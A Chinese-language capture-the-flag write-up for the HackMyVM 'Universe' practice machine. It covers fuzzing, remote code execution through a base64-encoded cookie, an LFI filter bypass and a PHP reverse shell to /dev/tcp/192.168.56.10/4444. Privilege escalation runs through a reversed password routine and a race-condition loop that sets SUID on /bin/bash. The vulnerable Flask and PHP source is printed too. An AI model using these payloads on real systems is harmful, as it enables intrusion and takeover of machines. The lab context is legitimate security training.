简介#
难度:困难
靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Universe
Initial Access#
简单扫一下
# Nmap 7.95 scan initiated Wed Jul 2 22:48:57 2025 as: /usr/lib/nmap/nmap -sC -sV -p21,22,1212 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.144
Nmap scan report for 192.168.56.144
Host is up (0.0032s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 95:d6:5d:68:a3:38:f7:74:87:b3:99:20:f8:be:45:4d (ECDSA)
|_ 256 11:77:31:ae:36:4e:22:45:9c:89:8f:5e:e6:01:83:0d (ED25519)
1212/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
| http-title: Universe
|_Requested resource was /?user=920
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
21 端口无法匿名登录
1212 端口是 http,从 nmap 扫描结果可看出有个 user 参数
随便访问几下发现 user 会随机变动
直接 fuzz 大法,尝试把网页全部下载下来
for i in {1..1000};do wget http://192.168.56.144:1212?user=$i;done
最后 9 是可行的
此外我还尝试了 wfuzz,但是没有成功,但是理论上用 fuzz 工具肯定行得通,这里就留给大家自行尝试吧~
wfuzz -c -z range,1-1000 --follow "http://192.168.56.144:1212?user=FUZZ"
Cookie Exec#
根据网页显示,好像要传入 cookie,但 exec 直接传入值会报错
于是编码成 base64,方可成功执行命令(这块比较难想到,靶机也没有任何的提示)
我这里用的是 wget rev.sh 然后 bash rev.sh 的方案
最后附上题目的源码:
from flask import Flask, render_template, request, make_response, redirect, url_for
import subprocess
import base64
import random
app = Flask(__name__)
user_id_range = range(1, 1001)
@app.errorhandler(404)
def page_not_found(e):
return redirect(url_for('index', user=random.choice(user_id_range)))
@app.route('/')
def index():
try:
user_id = int(request.args.get('user', -1))
except ValueError:
return redirect(url_for('index', user=random.choice(user_id_range)))
if not isinstance(user_id, int) or user_id not in user_id_range:
user_id = random.choice(user_id_range)
return redirect(url_for('index', user=user_id))
if user_id == 9:
encoded_command = request.cookies.get('exec', '')
if encoded_command:
try:
command = base64.b64decode(encoded_command).decode()
result = subprocess.check_output(command, shell=True).decode()
return render_template('universe.html', result=result)
except Exception as e:
return render_template('universe.html', result="Invalid cookie value"), 500
else:
return render_template('universe.html', result="Missing 'exec' cookie")
return render_template('index.html', user_id=user_id), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1212)
Privilege Escalation#
端口转发#
ss -plntu
可以看到有一个本地才能访问的 8080 端口
于是把端口转发出去,可以用 socat,但我更喜欢用 ssh 远程端口转发,因为适用性更广
ssh -R 18080:127.0.0.1:8080 -CNfg [email protected]
然后就能直接访问了
LFI#
页面明显存在 LFI,但是存在限制,试了几个绕过后发现可以双写绕过,用…//…//…// 来返回上级目录
别忘了我们有 shell,所以先在 tmp 目录下创建一个 php 的反弹 shell,然后再包含
<?php system("bash -c 'sh -i >& /dev/tcp/192.168.56.10/4444 0>&1'");?>
访问http://127.0.0.1:18080/?file=..././..././....//tmp/shell.php
即可拿到 void 用户的 shell
同样也是附上源码:
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Void</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #fffff;
}
header {
background-color: #222529;
padding: 10px;
color: white;
text-align: center;
}
nav {
background-color: #444;
padding: 10px;
text-align: center;
}
nav a {
color: white;
text-decoration: none;
margin: 0 10px;
}
.container {
padding: 20px;
}
</style>
</head>
<body>
<header>
<h1>Void</h1>
</header>
<nav>
<a href="?file=love.php">Love</a>
<a href="?file=shine.php">Shine</a>
<a href="?file=sadness.php">Sadness</a>
</nav>
<div class="container">
<?php
if (isset($_GET['file'])) {
$file = str_replace("../", '', $_GET['file']);
$path = "/home/void/web-void/$file";
if ($file === 'shine.php') {
echo '<p>Like the stars in the universe, your inner light shines with unique beauty and incomparable purpose. Although you may feel "void" at this moment or any other time, remember that in the infinite canvas of the cosmos, every star has its place, and you, dear stranger, are a priceless star in the constellation of life. Your presence illuminates the world in ways you cannot imagine. You can still go on</p>';
} elseif (file_exists($path)) {
include($path);
} else {
echo '<p>Under construction</p>';
}
}
?>
</div>
</body>
</html>
Quasar 逆向#
sudo -l 起手
除了 Quasar 之外,这个目录下还有一个 print.sh 脚本
void@universe:/scripts$ cat print.sh
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
umask 110
/usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
先把 Quasar 脱下来具体看看怎么回事
程序会比较 password 是否正确,然后执行 print.sh
今昔不同往日,直接 ida+mcp 自动化逆向就完事了~
## 程序功能分析
### 程序概述
这是一个名为"universe"的密码验证程序,主要功能是:
1. 接收一个命令行参数作为密码
2. 生成一个基于数学运算的密钥
3. 对输入的密码和生成的密钥进行SHA256哈希比较
4. 验证通过则执行shell脚本
### 详细功能分析
#### 1. 主函数(main - 0x14f2)
- 检查命令行参数数量,必须为2个(程序名 + 密码)
- 如果参数不正确,输出使用说明:"Uso: ./Quasar <password>"
- 调用三个关键函数进行密码验证
#### 2. 密钥生成函数(sub_1219)
这个函数通过复杂的数学运算生成一个10字符的密钥:
- 使用双重循环(外层0-9,内层0-4)
- 在每次迭代中进行以下数学运算:
- `sin(π * n9/3 + n4)` 的平方
- `log(n9 + n4 + 3)` 乘以上述结果
- `exp(sqrt(n9 + n4 + 1))` 加上前面的结果
- `tgamma(n9 + n4 + 1)` 伽马函数计算
- 最终将计算结果转换为字符并存储
#### 3. SHA256哈希函数(sub_1414)
- 对输入的10字节数据进行SHA256哈希
- 将32字节的哈希结果转换为64字符的十六进制字符串
- 使用OpenSSL的SHA256函数(SHA256_Init, SHA256_Update, SHA256_Final)
#### 4. 验证逻辑
- 生成数学密钥并计算其SHA256哈希值
- 对用户输入的密码计算SHA256哈希值
- 比较两个哈希值是否相同
- 如果相同,执行`/scripts/print.sh`脚本
- 如果不同,输出"Error!"
### 安全特性
- 使用了栈保护(stack canary)
- 密码验证基于复杂的数学运算,难以直接逆向
- 使用标准的SHA256哈希算法进行比较
重现运算逻辑#
从反编译的代码可以看出,密钥生成的数学运算是确定的,我们可以用 Python 脚本重现:
import math
def generate_key():
s1 = ""
for n9 in range(10): # 0 到 9
v10 = 0.0
for n4 in range(5): # 0 到 4
# sin(π * n9/3 + n4)^2
x = math.sin(math.pi * n9 / 3.0 + n4)
v5 = x ** 2
# log(n9 + n4 + 3) * v5
v6 = math.log(n9 + n4 + 3) * v5
# exp(sqrt(n9 + n4 + 1)) + v6
x_1 = math.sqrt(n9 + n4 + 1)
v7 = math.exp(x_1) + v6
# tgamma函数处理
v3 = n9 + n4 + 1
if (n9 + n4) < 0xFFFFFFFE and (n9 + n4) != 0:
v3 = 0
# tgamma(n9 + n4 + 1) * v3 + v7 + v10
v10 = math.gamma(n9 + n4 + 1) * v3 + v7 + v10
# 转换为字符
char_val = int(100.0 * v10) % 10 + 48 # 48 是 '0' 的ASCII
s1 += chr(char_val)
return s1
# 生成密钥
key = generate_key()
print(f"Generated key: {key}")
# 计算SHA256哈希
import hashlib
hash_value = hashlib.sha256(key.encode()).hexdigest()
print(f"SHA256 hash: {hash_value}")
密码就是 9740252204
写入竞争#
print.sh 脚本的内容如下:
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
umask 110
/usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
/usr/bin/rm "$tmp_file"
该脚本执行了以下操作:
- 使用
mktemp
命令在/tmp
目录下创建了一个临时文件,其名称以read-
开头,后面跟着五个随机字符。 - 在一个子 shell(由
(
和)
包围)中,首先使用umask
命令设置了文件创建掩码为110
,这意味着新创建的文件将具有 556 权限。 - 回到主 shell,将字符串 test 写入临时文件。
- 使用
cat
命令读取临时文件的内容,并将其存储在变量data
中。 - 最后,使用
eval
命令执行data
变量中的内容,并删除临时文件。
在脚本中,命令是逐行执行的,这意味着在 eval 执行之前存在一个时间间隔。如果能够在这个时间间隔内覆盖临时文件的内容,就可以注入并执行任意命令。
另起一个终端,然后执行以下命令
while :; do a=$(ls /tmp/read-* 2>/dev/null | head -n 1); if [ -n "$a" ]; then echo 'chmod +s /bin/bash' > "$a"; fi; done
原理很简单,就是通过一个死循环,不断监测 tmp 下的临时文件(搭配通配符),一旦存在,就向其中写入提权命令
最后也是竞争成功,拿到 root 权限!
后记#
Universe 靶机设计得非常不错,是一台综合性很强的靶机。虽然它被标记为 “困难” 难度,但我认为整体难度不算特别高,攻克过程较为顺畅,就是一步步推进就完事了,除了 exec 那里要 base 编码以外没有其他难想到的点。特别是最后的提权阶段,利用 print.sh
脚本的竞争条件漏洞设计得非常精妙,为整个挑战增添了亮点。总的来说,这是一台非常值得一试的综合性靶机!